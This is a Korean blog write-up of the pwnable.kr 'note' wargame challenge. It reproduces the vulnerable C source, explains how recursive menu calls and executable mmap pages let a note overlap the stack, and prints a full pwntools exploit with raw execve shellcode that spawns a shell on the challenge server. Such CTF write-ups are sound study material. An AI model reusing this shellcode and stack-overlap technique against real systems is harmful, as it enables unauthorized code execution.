Pwnstar

Pwnable.kr note 본문

Pwnable.kr/Rookiss

Pwnable.kr note

포너블처돌이 2020. 7. 30. 01:31

 

후 엄청 오래 걸렸던 문제인데 한 번 길이 보이고 나니 오히려 alloca 문제보다 쉬운 것 같다.

 

소스코드

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <unistd.h>

#define PAGE_SIZE 4096

void* mmap_s(void* addr, size_t length, int prot, int flags, int fd, off_t offset);
void* mem_arr[257];

void clear_newlines(void){
        int c;
        do{
                c = getchar();
        }while (c != '\n' && c != EOF);
}

void create_note(){
        int i;
        void* ptr;
        for(i=0; i<256; i++){
                if(mem_arr[i] == NULL){
                        ptr = mmap_s((void*)NULL, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
                        mem_arr[i] = ptr;
                        printf("note created. no %d\n [%08x]", i, (int)ptr);
                        return;
                }
        }
        printf("memory sults are fool\n");
        return;
}

void write_note(){
        unsigned int no;
        printf("note no?\n");
        scanf("%d", &no);
        clear_newlines();
        if(no>256){
                printf("index out of range\n");
                return;
        }
        if(mem_arr[no]==NULL){
                printf("empty slut!\n");
                return;
        }
        printf("paste your note (MAX : 4096 byte)\n");
        gets(mem_arr[no]);
}

void read_note(){
        unsigned int no;
        printf("note no?\n");
        scanf("%d", &no);
        clear_newlines();
        if(no>256){
                printf("index out of range\n");
                return;
        }
        if(mem_arr[no]==NULL){
                printf("empty slut!\n");
                return;
        }
        printf("%s\n", mem_arr[no]);
}

void delete_note(){
        unsigned int no;
        printf("note no?\n");
        scanf("%d", &no);
        clear_newlines();
        if(no>256){
                printf("index out of range\n");
                return;
        }
        if(mem_arr[no]==NULL){
                printf("already empty slut!\n");
                return;
        }
        munmap(mem_arr[no], PAGE_SIZE);
        mem_arr[no] = NULL;
}

void select_menu(){
        // menu
        int menu;
        char command[1024];

        printf("- Select Menu -\n");
        printf("1. create note\n");
        printf("2. write note\n");
        printf("3. read note\n");
        printf("4. delete note\n");
        printf("5. exit\n");
        scanf("%d", &menu);
        clear_newlines();

        switch(menu){
                case 1:
                        create_note();
                        break;

                case 2:
                        write_note();
                        break;

                case 3:
                        read_note();
                        break;

                case 4:
                        delete_note();
                        break;

                case 5:
                        printf("bye\n");
                        return;

                case 0x31337:
                        printf("welcome to hacker's secret menu\n");
                        printf("i'm sure 1byte overflow will be enough for you to pwn this\n");
                        fgets(command, 1025, stdin);
                        break;

                default:
                        printf("invalid menu\n");
                        break;
        }

        select_menu();
}

int main(){
        setvbuf(stdout, 0, _IONBF, 0);
        setvbuf(stdin, 0, _IOLBF, 0);

        printf("welcome to pwnable.kr\n\n");
        sleep(2);
        printf("recently I noticed that in 32bit system with no ASLR,\n");
        printf(" mmap(NULL... gives predictable address\n\n");
        sleep(2);
        printf("I believe this is not secure in terms of software exploit mitigation\n");
        printf("so I fixed this feature and called mmap_s\n\n");
        sleep(2);
        printf("please try out this sample note application to see how mmap_s works\n");
        printf("you will see mmap_s() giving true random address despite no ASLR\n\n");
        sleep(2);
        printf("I think security people will thank me for this :)\n\n");
        sleep(2);

        select_menu();
        return 0;
}

// secure mmap
void* mmap_s(void* addr, size_t length, int prot, int flags, int fd, off_t offset){

        // security fix: current version of mmap(NULL.. is not giving secure random address
        if(addr == NULL && !(flags & MAP_FIXED) ){
                void* tmp=0;
                int fd = open("/dev/urandom", O_RDONLY);
                if(fd==-1) exit(-1);
                if(read(fd, &addr, 4)!=4) exit(-1);
                close(fd);
                // to avoid heap fragmentation, lets skip malloc area
        printf("addr before calc : 0x%x\n", addr);
                addr = (void*)( ((int)addr & 0xFFFFF000) | 0x80000000 );
        printf("addr after calc : 0x%x\n", addr);
                while(1){
                        // linearly search empty page (maybe this can be improved)
                        tmp = mmap(addr, length, prot, flags | MAP_FIXED, fd, offset);
                        if(tmp != MAP_FAILED){
                                return tmp;
                        }
                        else{
                                // memory already in use!
                                addr = (void*)((int)addr + PAGE_SIZE);  // choose adjacent page
                        }
                }
        }

        return mmap(addr, length, prot, flags, fd, offset);
}

 

소스코드가 쫌 길다;;

 

이 문제의 취약점은 스택의 주소가 고정(No ASLR)이라는 점과 create_note 메뉴를 통해서 할당된 주소가 x권한이 존재한다는 점이다.

 

처음 이틀 간 방법을 찾지 못해서 쩔쩔맸었다. 그러다가 create_note 메뉴에서 mmap_s 함수를 통해서 랜덤하게 heap의 영역을 할당해주는데 할당 횟수에는 256회라는 제한이 있기는 하지만, delete 메뉴를 통해서 할당된 공간을 계속 해제해줄 수도 있다.

 

그러면 이 영역을 계속 할당해주다가 스택의 영역이랑 맞닿을 수도 있지 않을까?? 라는 생각을 하게 되었다.

 

그렇다면 처음에 0번에 할당을 해 줄때에 nop sled와 쉘코드를 넣어놓고, 1~255번의 heap 공간을 할당해줬다가 stack과 겹치지 않으면 전부 해제하고 다시 시작하는 방법으로 하면 가능할 것 같았다.

 

그러던 와중에 이상한 점을 하나 발견했는데

어떤 메뉴든 실행할 때마다 스택의 주소가 일정 값만큼 감소한다는 것이다.

 

 

처음 스택의 주소는 0xffffd7fc였는데, create note를 한번 실행하고 나니

 

 

0xffffcf9c로 변경되었다.

 

 

create note를 한 번 더 하고서 실행해보니 0xffffc73c로 변경되었다.

 

create note를 할 때마다 0x430씩 스택의 주소가 감소하는 것을 알 수 있었다.

 

이 문제를 풀 당시에는 이유를 알지 못했는데 문제를 풀고 다른 분들은 어떻게 풀었나 라이트업을 찾아보다가 그 이유를 알게 되었다.

 

select_menu를 보면 다른 메뉴들과는 다른 점이 하나 있었다. 보통은 while문을 써서 menu를 반복적으로 호출하게 하는데, 이 함수에서는 재귀적으로 자기 자신을 호출하도록 되어있었다.

 

 

이렇게 되면 메뉴가 실행될 때마다 스택을 계속해서 낭비하게 된다.

 

이 문제를 풀려면 알아야할 정보는 모두 알았다.

 

이제 코드를 짜 보자.

우선 처음 create를 해서 그 곳에 쉘코드를 넣을 것이다.

 

shell = "\x90"*20 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

eip = 0xffffd000

sleep(10)

#get the shellcode address
p.recvuntil("5. exit\n")
p.sendline("1")

p.recvuntil(" [")
shell_addr = int(p.recvuntil("]")[:-1], 16)
log.info("shellcode address = " + hex(shell_addr))

p.recvuntil("5. exit\n")
p.sendline("2")

p.recvuntil("note no?\n")
p.sendline("0")

p.recvuntil("paste your note (MAX : 4096 byte)\n")
p.sendline(shell)

 

스택의 주소를 eip = 0xffffd000로 잡아놓았는데 몇번을 실행해봐도 첫 스택의 주소가 0xffffd000 ~ 0xfffff000이었기 때문에 이렇게 잡았다.(NO ASLR 떄문에)

 

할당한 곳의 주소를 친절하게 알려주고, 우리는 스택의 주소 또한 정확하지는 않지만 예측이 가능하기 때문에,

 

while(1):
    
    if cnt == 255:
        cnt = 1
        for i in range(1, 256):
            p.recvuntil("5. exit\n")
            p.sendline("4")
            p.recvuntil("note no?\n")
            p.sendline(str(i))
            log.info("note no." + str(i) + " removed")
            
        eip = eip - 0x430*254
        log.info("restart")   

    p.recvuntil("5. exit\n")
    p.sendline("1")
    
    p.recvuntil(' [')
    address = int(p.recvuntil(']')[:-1], 16)

    if eip < address:
        break
        
    cnt += 1
    all_trial  += 1
    eip -= 0x430
    log.info("trial number (" + str(all_trial) + ")  address = " + hex(address) + "   eip = " + hex(eip))

 

이 반복문을 통해서 스택의 주소와 할당된 주소를 비교하여 할당된 주소가 스택의 주소보다 클 경우 조건에 부합하므로 반복문에서 빠져나오도록 해 놓았다.

 

#set ret to shellcode address    
p.recvuntil('5. exit\n')
p.sendline('2')
p.recvuntil('note no?\n')
p.sendline(str(cnt))
p.recvuntil('paste your note (MAX : 4096 byte)\n')
p.sendline(p32(shell_addr) * 1024)

 

반복문을 빠져나온 이후에 정확한 ret 부분을 모르기 때문에 shell code 주소를 최대한으로 채워넣었다.

 

그리고 5번 메뉴를 통해 ret을 호출해주면 된다.

 

#go to ret
p.recvuntil("5. exit\n")
p.sendline("5")

 

전체 익스 코드

ex.py

from pwn import*

#context.terminal=['tmux', 'splitw', '-h']
#p = process("./note")
p = remote("pwnable.kr", 9019)
script = '''
b*0x08048997
b*0x080489a5
'''
#gdb.attach(p, script)

shell = "\x90"*20 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

eip = 0xffffd000

sleep(10)

#get the shellcode address
p.recvuntil("5. exit\n")
p.sendline("1")

p.recvuntil(" [")
shell_addr = int(p.recvuntil("]")[:-1], 16)
log.info("shellcode address = " + hex(shell_addr))

p.recvuntil("5. exit\n")
p.sendline("2")

p.recvuntil("note no?\n")
p.sendline("0")

p.recvuntil("paste your note (MAX : 4096 byte)\n")
p.sendline(shell)

cnt = 1
#all_trial = 1
while(1):
    
    if cnt == 255:
        cnt = 1
        for i in range(1, 256):
            p.recvuntil("5. exit\n")
            p.sendline("4")
            p.recvuntil("note no?\n")
            p.sendline(str(i))
            log.info("note no." + str(i) + " removed")
            
        eip = eip - 0x430*254
        log.info("restart")   

    p.recvuntil("5. exit\n")
    p.sendline("1")
    
    p.recvuntil(' [')
    address = int(p.recvuntil(']')[:-1], 16)

    if eip < address:
        break
        
    cnt += 1
    #all_trial += 1
    eip = eip - 0x430
    log.info("trial number (" + str(cnt) + ")  address = " + hex(address) + " eip = " + hex(eip))


#set ret to shellcode address    
p.recvuntil('5. exit\n')
p.sendline('2')
p.recvuntil('note no?\n')
p.sendline(str(cnt))
p.recvuntil('paste your note (MAX : 4096 byte)\n')
p.sendline(p32(shell_addr) * 1024)


#go to ret
p.recvuntil("5. exit\n")
p.sendline("5")

p.interactive()

 

이제 실행해보면

 

코드를 잘못 짰는지....가끔 에러가 난다. 그래도 몇번 시도하다보면 

 

 

쉘을 땄는데 뭔가 이상하다ㅋㅋㅋ flag파일을 열수가 없다.

 

그래서 여기서 또 헤메다가

 

 

note_pwn 디렉터리로 가서 flag를 볼 수 있었다.

 

이건 진짜 다시는 못풀겠다.

'Pwnable.kr > Rookiss' 카테고리의 다른 글

pwnable.kr crypto1  (1) 2020.09.15
Pwnable.kr loveletter  (0) 2020.07.30
Pwnable.kr alloca  (0) 2020.07.29
Pwnable.kr rsa_calculator  (0) 2020.07.29
Pwnable.kr echo2  (0) 2020.07.28
Comments